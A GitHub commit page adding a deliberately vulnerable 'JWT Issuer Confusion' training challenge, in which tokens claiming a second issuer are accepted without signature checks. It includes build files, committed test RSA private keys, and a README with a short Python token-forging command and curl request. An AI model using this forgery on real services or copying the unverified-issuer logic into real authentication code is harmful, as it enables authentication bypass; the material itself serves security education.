Skip to content

Commit 3b1e0ee

Browse files
Merge pull request #77 from cerberauth/jwt-issuer-confusion-challenge
JWT issuer confusion challenge
2 parents 4bddb45 + bc3e07e commit 3b1e0ee

13 files changed

Lines changed: 322 additions & 0 deletions

File tree

README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -42,6 +42,7 @@ The following challenges are available in this repository:
4242
- [JWT None Algorithm Bypass](challenges/jwt-alg-none-bypass)
4343
- [JWT Blank Secret](challenges/jwt-blank-secret)
4444
- [JWT HMAC/RSA Confusion](challenges/jwt-hmac-confusion)
45+
- [JWT Issuer Confusion](challenges/jwt-issuer-confusion)
4546
- [JWT KID Path Traversal](challenges/jwt-kid-path-traversal)
4647
- [JWT KID SQL Injection](challenges/jwt-kid-sql-injection)
4748
- [JWT Not Verified](challenges/jwt-not-verified)
Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# Binaries for programs and plugins
2+
*.exe
3+
*.exe~
4+
*.dll
5+
*.so
6+
*.dylib
7+
8+
# Test binary, built with `go test -c`
9+
*.test
10+
11+
# Output of the go coverage tool, specifically when used with LiteIDE
12+
*.out
13+
14+
jwt-issuer-confusion
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
FROM golang:1.26 AS builder
2+
3+
WORKDIR /app
4+
5+
COPY common/ ./common/
6+
COPY challenges/jwt-issuer-confusion/ ./challenges/jwt-issuer-confusion/
7+
8+
WORKDIR /app/challenges/jwt-issuer-confusion
9+
RUN CGO_ENABLED=0 GOWORK=off GOOS=linux go build -o /jwt-issuer-confusion .
10+
11+
FROM gcr.io/distroless/static-debian11:nonroot AS runner
12+
13+
WORKDIR /
14+
15+
COPY --from=builder --chown=nonroot:nonroot /app/challenges/jwt-issuer-confusion/keys /keys
16+
COPY --from=builder --chown=nonroot:nonroot /jwt-issuer-confusion /usr/bin/jwt-issuer-confusion
17+
18+
EXPOSE 8080
19+
20+
USER nonroot:nonroot
21+
22+
ENTRYPOINT ["jwt-issuer-confusion"]
23+
CMD ["serve"]
Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
# JWT Issuer Confusion
2+
3+
This challenge demonstrates a JWT implementation trusting two issuers, where only one of them is properly signature-verified. Tokens claiming to come from `https://issuer-a.example.com` are verified against issuer A's RSA public key, but tokens claiming `https://issuer-b.example.com` are parsed unverified and treated as valid regardless of their signature.
4+
5+
## How to run it
6+
7+
```bash
8+
go run main.go serve
9+
```
10+
11+
## How to exploit it
12+
13+
```bash
14+
# Get a sample legit token for issuer-b
15+
TOKEN=$(go run main.go jwt-issuer-b)
16+
17+
# Forge a token with arbitrary claims and issuer "https://issuer-b.example.com",
18+
# signed with any key (or none) - signature is never checked for this issuer
19+
FORGED=$(python3 -c "
20+
import jwt
21+
print(jwt.encode({'iss': 'https://issuer-b.example.com', 'sub': 'attacker'}, 'anything', algorithm='HS256'))
22+
")
23+
24+
curl -i http://localhost:8080/ -H "Authorization: Bearer $FORGED"
25+
```
26+
27+
## Disclaimer
28+
29+
The challenges provided in this repository are designed to be educational and for testing purposes only. Do not attempt to exploit vulnerabilities in systems or APIs without proper authorization. Always ensure that you have the necessary permissions to conduct security testing on any system or application.
30+
31+
---
32+
33+
Learn more about API security at [Cerberauth](https://www.cerberauth.com/)
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
module github.com/cerberauth/api-vulns-challenges/challenges/jwt-issuer-confusion
2+
3+
go 1.26
4+
5+
require github.com/golang-jwt/jwt/v5 v5.3.1
6+
7+
require github.com/spf13/cobra v1.10.2
8+
9+
require (
10+
github.com/cerberauth/api-vulns-challenges/common v0.0.0-00010101000000-000000000000
11+
github.com/inconshreveable/mousetrap v1.1.0 // indirect
12+
github.com/spf13/pflag v1.0.10 // indirect
13+
)
14+
15+
replace github.com/cerberauth/api-vulns-challenges/common => ../../common
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
github.com/cpuguy83/go-md2man/v2 v2.0.6/go.mod h1:oOW0eioCTA6cOiMLiUPZOpcVxMig6NIQQ7OS05n1F4g=
2+
github.com/golang-jwt/jwt/v5 v5.3.1 h1:kYf81DTWFe7t+1VvL7eS+jKFVWaUnK9cB1qbwn63YCY=
3+
github.com/golang-jwt/jwt/v5 v5.3.1/go.mod h1:fxCRLWMO43lRc8nhHWY6LGqRcf+1gQWArsqaEUEa5bE=
4+
github.com/inconshreveable/mousetrap v1.1.0 h1:wN+x4NVGpMsO7ErUn/mUI3vEoE6Jt13X2s0bqwp9tc8=
5+
github.com/inconshreveable/mousetrap v1.1.0/go.mod h1:vpF70FUmC8bwa3OWnCshd2FqLfsEA9PFc4w1p2J65bw=
6+
github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
7+
github.com/spf13/cobra v1.10.2 h1:DMTTonx5m65Ic0GOoRY2c16WCbHxOOw6xxezuLaBpcU=
8+
github.com/spf13/cobra v1.10.2/go.mod h1:7C1pvHqHw5A4vrJfjNwvOdzYu0Gml16OCs2GRiTUUS4=
9+
github.com/spf13/pflag v1.0.9/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
10+
github.com/spf13/pflag v1.0.10 h1:4EBh2KAYBwaONj6b2Ye1GiHfwjqyROoF4RwYO+vPwFk=
11+
github.com/spf13/pflag v1.0.10/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg=
12+
go.yaml.in/yaml/v3 v3.0.4/go.mod h1:DhzuOOF2ATzADvBadXxruRBLzYTpT36CKvDb3+aBEFg=
13+
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
-----BEGIN PRIVATE KEY-----
2+
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDACi97PKKHHF42
3+
5VLnL3trd0Al7qsmmrSpU3YrzgnVsyiK7W5aGb6YyHYuyS0VUuJCluH0bY00XWb0
4+
Mix9uttUOokthmBwW6iGoDAjmARCFt6nUCku6dBNPqyh9uhWzqEKQjP4xmxRKbZG
5+
TM9UpyD7jUNU2cZCbg1+8m1XMA7ZIb2XU1Gzv+TApXJIxce5Za7f2OApHBzU+jeS
6+
cvPHTwD8+QBZSND4AqT2+JcecacNmhnoz7TSUd2gO6YNLgwWoibMupswiKaIiKyN
7+
p6QCdOt/mvlgBC065Uq2YbcSSl+1cNOr4H/Q6NiAuNElOb3kRAfs9phQAn33Z5p4
8+
VKFQ+U5dAgMBAAECggEAB9EyUxoqBIV1WVc263W9mKeLSy/+tAzWn1DoLcrOkC4h
9+
j5wwIodLQKViWC+0v9o2nx7MtloyRggqTXTwZjLRxEk4tctzSAeXIdnJ89z3iWgs
10+
apOjBYebhNVxCgvGs+fn2sbMnksXdCtWQeDVDL1b5JmAvOa7gQ9BSeJc7JBmflSk
11+
+AZ3RfPJkSp13ubZHMYk9FEf1Yvdt0qO4PtW1msOd2gRaCWGmj0Bl+Ajn3cP07+f
12+
wwsgkRe8hyRuxxEvBo5nZ7n0tilIqyBKhspqmaZlh2v65Kjc3rGSmHcrtlj1QZGN
13+
9qFOugh8W+/6qz1qC+4/utVlSE9S6j2RyjsySRPPAQKBgQDjstIUdIHuxLxG4ElW
14+
Fw6SwVgoH7MMq1H1fpUDiGMrGmMlWCigSoNEbmADVypELWN4y+OPQwg0Vps8JLR6
15+
QFG9bX8+8MvtbVqjpOIAKwB4QPtpf04eHjCyJAMjZGh3/VnB1+fqJ76Oeo12tamz
16+
GINaMGGxdOH4eEQ0LfeOek8HAQKBgQDX6Lu/L6R+TRdY6CpMxf04bm5HpmhLVOKo
17+
dtRugXr48DuGrpsRfTHbU7kh1rX6LTPq3e9HY4xj/cwVahkSbQcTvP/GRk+blTK4
18+
5NfVyG/yYutv3IMmHQXY4s6kbDRr82mFZTS97oZNV5Vzs1PATAxUGeRGPtglMY4n
19+
PT4BLe7DXQKBgDoqAroQ7OP2Q3YDcxhXuXRJiWBugIla9gu08xG89EAddHgkpfQU
20+
NKX1X/dae8SAp6lCw/VjlSPxf6QEaEnWRksSPm/wiNc0mPO2ebi7Q1p0lwRi7ayJ
21+
37yRsG+JBZqpEBWRNn+8+VNiAOLzEs9aEqumMj5nchXLevitSVCO88MBAoGAFZyW
22+
Lmz2ai4NSDj1AvpOfnePUly109SLW5GJcgZD6OcjDjgsDXQaqXmX7msvi/s6Vygf
23+
62VriBa/duVH3TBMpQ0mDRK8pTYp/ZfqgtutWPXN20SXXBlLnIoXZR3voV6cEV4w
24+
CVL23ocFzq8EkxsJoOF2mBFyUUbEk+jta/DNFYECgYBLBF077xdR6Ad5MQR6UO50
25+
7Yql8dJ3MwHXKohejA8CqJUFHYFGikwSGIh9gK3CRAM7bU7ozIhp379VL8dc9/sr
26+
5TqcjSj9koLgJ1hWL6ek/H+ClyCZsglOdD5k6ctbYhKDIC9yI4z0RUXbNyphe5uH
27+
gQKBmjysa0oxMnXSf7RiJA==
28+
-----END PRIVATE KEY-----
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
-----BEGIN PUBLIC KEY-----
2+
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAwAovezyihxxeNuVS5y97
3+
a3dAJe6rJpq0qVN2K84J1bMoiu1uWhm+mMh2LsktFVLiQpbh9G2NNF1m9DIsfbrb
4+
VDqJLYZgcFuohqAwI5gEQhbep1ApLunQTT6sofboVs6hCkIz+MZsUSm2RkzPVKcg
5+
+41DVNnGQm4NfvJtVzAO2SG9l1NRs7/kwKVySMXHuWWu39jgKRwc1Po3knLzx08A
6+
/PkAWUjQ+AKk9viXHnGnDZoZ6M+00lHdoDumDS4MFqImzLqbMIimiIisjaekAnTr
7+
f5r5YAQtOuVKtmG3EkpftXDTq+B/0OjYgLjRJTm95EQH7PaYUAJ992eaeFShUPlO
8+
XQIDAQAB
9+
-----END PUBLIC KEY-----
Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
-----BEGIN PRIVATE KEY-----
2+
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDSqtAdzNsGboii
3+
8puvjiyWLzcH7LYXxWsTY70P4bs0kMqpyDxa3womCoZ52zeQVNEnP4M0E5xLfcHR
4+
c+B/5HwDgPXsATKpMefuLlJQKX9XeKxn24GAJgaZRMZ3QexeSoScYe3XzHGlP5M/
5+
zdiGNta+MEp1w9eDYyWiWh7a9Nd0MiAa/Bbdq4L9P5GNlSqkzIqma0V33vzSQDL4
6+
eYEgH/tIvuAiqX0aIJWSRZMLU1mzvEDs133gZXubGoVex1F78P2O8AQWbss+crnE
7+
xMsM6mwyQ8AbIuCrG5HqfXpNK9tJGhAzc4J3kiCSjcFYlY1UeaoP3DFMUgQYqZ8I
8+
4tF6fMT7AgMBAAECggEAAcveFBr5P8/1JKU6nvUbO+Pxgq+fNTWu6OPqqqDV9qfz
9+
anOK0YrhrHBeNC932lMMKNsESeSO6nU15WIpEb4c2+90vrXwkiZwSq96GTU5YOwR
10+
AEkMDM/bh4wMFdvp4ZCeGofv6MKqshTdiGeUxz7ezDwKLoCPLQ933y9d4FJtJzr6
11+
5YQixvyjCbTC5lB2Qkfkv/ZqTnWom8trfbfWKi68aT5AugQtKABLEDaLJDpCYsXz
12+
eWL47rDd+oO4Os/RQ7YBEq+e8scjRao/u0mbcGpqK7oyiH7teqhXBvpO116EIV+X
13+
Xc/cgePl27Zx3LBbQwzjf9xQfKiiEbcr5ReWChHTUQKBgQDqEOXIPbczmdj223/U
14+
nm4ugwWTbsDwyj3ibwjuO8yyuT1RW5lM/q3jYoyWgFPunY6W+1DH0YWWGdWcSHFX
15+
3CO+Q+lYO5ecYW1Q3ZEDlufxLopCFsWYqBYO7pDLtrR1PazRV2AjulW2ZVLd+yfw
16+
rmQ84d8hmZJKivYHikE8kh2eawKBgQDmaJfQcG2KtRxEiekYmt/8xGtMZTX9UTcY
17+
DSUxsK6hhG/IOMrIkoAHFY/mlTKYzhpPd57YHI6BsakLqMCtQv2F1EpBZMPEcjLP
18+
CsdV16a+v3O9/F2ZId+Ov8Kes8YJ8PwP32gzaP1QA7WzR6UQb/WQ35YiuLm90nVk
19+
hm1zeLv3sQKBgQDJZNKhMWDhWD2TYZeilNLO2FNC4KfIRutqWglAGlntaW82Am9s
20+
DTIHFPNMR4xwIkbe58xAsamUVhQyzS4g37wtaHdtQJEZr8aELrAoe36ESXwSk09f
21+
IzkfjesuLL0mp3N8CAcjlp9LOfFMKF7cOuDqdZosaduyodBA+pdZC4vKkwKBgAuu
22+
w/vap4M/+aX0BDCuMatEXlhqTVmB07RRflBNsB0adPyG/Kk83Gb/jeNYL0+WK7lZ
23+
zGES2Zrz4iloLhTa77XodLdqH48HZ1IeLstIevjzBjBc6nYIRKidSoX3gZQhdvZr
24+
EoKA0U9MUNs9R75UnvPwklFCYpCgajllo4kWVxmRAoGAdz0P4+KuzjwQxwbdOVjK
25+
4umNfxeM4ufIuHkIwVQYRJhEwZP2hRVfwxmSHbga+6i6lCGSJ0W5/XoNiXkP6BSg
26+
0YLEsgWS7XbCIqfg5IoDXQ7u77MbTEdVoTf+HWlJF9nnzeYItoHyg8ABfcA/jxBU
27+
lhNXCvIAay5aBr+9u4l97Ww=
28+
-----END PRIVATE KEY-----
Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
-----BEGIN PUBLIC KEY-----
2+
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0qrQHczbBm6IovKbr44s
3+
li83B+y2F8VrE2O9D+G7NJDKqcg8Wt8KJgqGeds3kFTRJz+DNBOcS33B0XPgf+R8
4+
A4D17AEyqTHn7i5SUCl/V3isZ9uBgCYGmUTGd0HsXkqEnGHt18xxpT+TP83YhjbW
5+
vjBKdcPXg2Mloloe2vTXdDIgGvwW3auC/T+RjZUqpMyKpmtFd9780kAy+HmBIB/7
6+
SL7gIql9GiCVkkWTC1NZs7xA7Nd94GV7mxqFXsdRe/D9jvAEFm7LPnK5xMTLDOps
7+
MkPAGyLgqxuR6n16TSvbSRoQM3OCd5Igko3BWJWNVHmqD9wxTFIEGKmfCOLRenzE
8+
+wIDAQAB
9+
-----END PUBLIC KEY-----

0 commit comments

Comments
 (0)